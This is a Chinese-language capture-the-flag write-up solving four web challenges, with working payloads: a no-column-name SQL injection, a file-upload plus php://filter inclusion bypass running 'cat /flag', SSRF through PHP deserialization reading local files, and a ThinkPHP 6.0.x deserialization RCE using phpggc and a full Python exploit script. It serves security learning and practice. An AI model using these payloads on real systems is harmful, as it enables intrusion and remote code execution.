web
hacker
sql无列名注入;
提示查询username参数,flag在flag表中;
传参测试发现,union select 可用,空格被过滤可以使用/**/代替 ,or也被过滤了且无法大小写、双写等绕过,导致无法查询flag表里的字段名,需注意flag在flag表中并不是flag字段,直接联合查询flag表的flag字段查询不到flag,因此就可以想到sql无列名注入,只需知道表名不用知道字段名即可查询字段的数据,payload如下;
?username=joe'union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23
无列名注入获取flag表中数据;
100%_upload
文件上传+文件包含;
进入容器,文件上传界面,且一看url就猜测存在文件包含;
尝试file://协议读取/etc/passwd文件成功,存在文件包含,直接读取/flag提示不能直接获取,所以读取upload.php文件;
index.php?file=php://filter/read=convert.base64-encode/resource=upload.php
base64解码upload.php源码如下;
<?php
if(isset($_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
$text = file_get_contents($_FILES['upfile']['tmp_name']);
echo $ext;
if (!preg_match("/ph.|htaccess/i", $ext)){
if(preg_match("/<\?php/i", $text)){
echo "茂夫说:你的文件内容不太对劲哦<br>";
}
else{
move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
echo "上传成功<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "恶意后缀哦<br>";
}
}
?>
发现过滤了ph、htaccess后缀且文件内容不可有php标签,进行标签绕过、上传图片并配合文件包含即可;
# 上传1.png
?><?=`cat /flag`;
包含uploads/1.png获取flag;
EZ_SSRF
简单的ssrf,index.php源码如下;
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
You don't know how to pass parameters?
ssrf,配合php反序列化使用file://协议即可读取本地文件,dirsearch目录扫描发现admin.php和flag.php;
方法一,直接读取flag.php并base64解码即可获取flag;
<?php
class client{
public $url = 'file:///var/www/html/flag.php';
public $payload;
}
echo serialize(new client());
?>
# payload
O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}
方法二,读取admin.php源码如下,发现本地访问admin.php即可获得flag;
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("You can't get flag");
} else {
echo $flag;
}
?>
ssrf访问本地admin.php,将返回结果base64解码获得flag;
<?php
class client{
public $url = 'http://127.0.0.1/admin.php';
public $payload;
}
echo serialize(new client());
?>
# payload
O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}
Oyst3rPHP
ThinkPHP v6.0.x 反序列化漏洞的利用;
app/controller/Index.php部分源码如下,只需绕过三个if判断即可传参进行反序列化;
class Index extends BaseController
{
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
第一个if,使用2个MD5加密后0e开头的字符串绕过MD5值弱比较;
?left=s878926199a&right=QNKCDZO
第二、三个if,key值需包含603THINKPHP且不符合正则匹配,使用php正则的回溯绕过,回溯次数大于1000000时返回Flase;
# post传参
key=1000000个任意字符拼接603THINKPHP
ThinkPHP v6.0.x 反序列化,直接使用工具生成payload进行rce即可,工具phpgcc:https://github.com/ambionics/phpggc
将phpgcc解压到kali执行如下命令生成rce的payload;
./phpggc ThinkPHP/RCE3 system "cat /Oyst3333333r.php" --base64
###
其中app/controller/Index.php中进行了base64解码,这里要编码
/Oyst3333333r.php为flag的位置,在/vendor/topthink/think-orm/src/Model.php中也有提示
文章来源:https://www.toymoban.com/news/detail-839097.html
最终利用exp如下;文章来源地址https://www.toymoban.com/news/detail-839097.html
import requests
import re
url = 'http://yuanshen.life:37859/?left=s878926199a&right=QNKCDZO'
key = 'a' * 1000000 + '603THINKPHP'
data = {
'payload': 'Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319',
'key': key}
res = requests.post(url, data=data)
flag = re.search(r'SICTF{.*}', res.text).group()
print(flag) # SICTF{01a44fce-57db-4ccd-9bbb-dce5301eca92}
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